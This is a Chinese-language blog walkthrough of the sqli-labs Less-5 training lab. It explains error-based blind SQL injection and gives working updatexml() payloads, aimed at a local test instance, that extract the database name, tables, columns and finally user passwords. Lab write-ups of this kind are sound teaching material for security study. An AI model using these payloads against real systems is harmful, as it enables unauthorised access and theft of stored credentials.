sqlilabs-Less-5

目录

一前置总结

二思路分析

1、判断注入点​编辑

2、爆字段个数

3、爆数据库名

4、爆数据库表

5、爆数据库列

6、爆数据库关键信息


一前置总结

sql注入分为两类,有回显的注入和无回显的注入

这一关很明显是没有回显的,所以我们想到采取盲注的方式,而盲注一般分为三大类,报错注入、时间盲注和布尔盲注。可以利用updatexml(),extractvalue()等一些函数来进行

二思路分析

一般的,我们可以将其总结为以下几个步骤

1、判断注入点

2、爆字段个数

3、爆数据库名

4、爆数据库表

5、爆数据库列

6、爆数据库关键信息

1、判断注入点

and 1=1 和 and 1=2测试,发现id=1的情况都是正常的,排除数字型

但是当我们采取1'的情况,出现以下情况,判断可能是单引号闭合,试一试id=1' and 1=2--+发现报错,1=1是正常。说明是单引号闭合的注入。

2、爆字段个数

发现有三个字段,但是接下来的步骤就不一样的不能回显信息,就是和前几关不一样,这里需要通过报错的方式后续还有通过bool的方式判断

3、爆数据库名

http://127.0.0.1/sqlilabs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x3a,(select%20database()),0x3a),1)--+

4、爆数据库表

id=1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1)--+

递归查询,发现第三个可能性最大

5、爆数据库列

http://127.0.0.1/sqlilabs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x3a,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%22users%22%20limit%200,1),0x3a),1)--+依次是id username password

6、爆数据库关键信息

http://127.0.0.1/sqlilabs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x3a,(select%20password%20from%20users%20limit%200,1),0x3a),1)--+

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值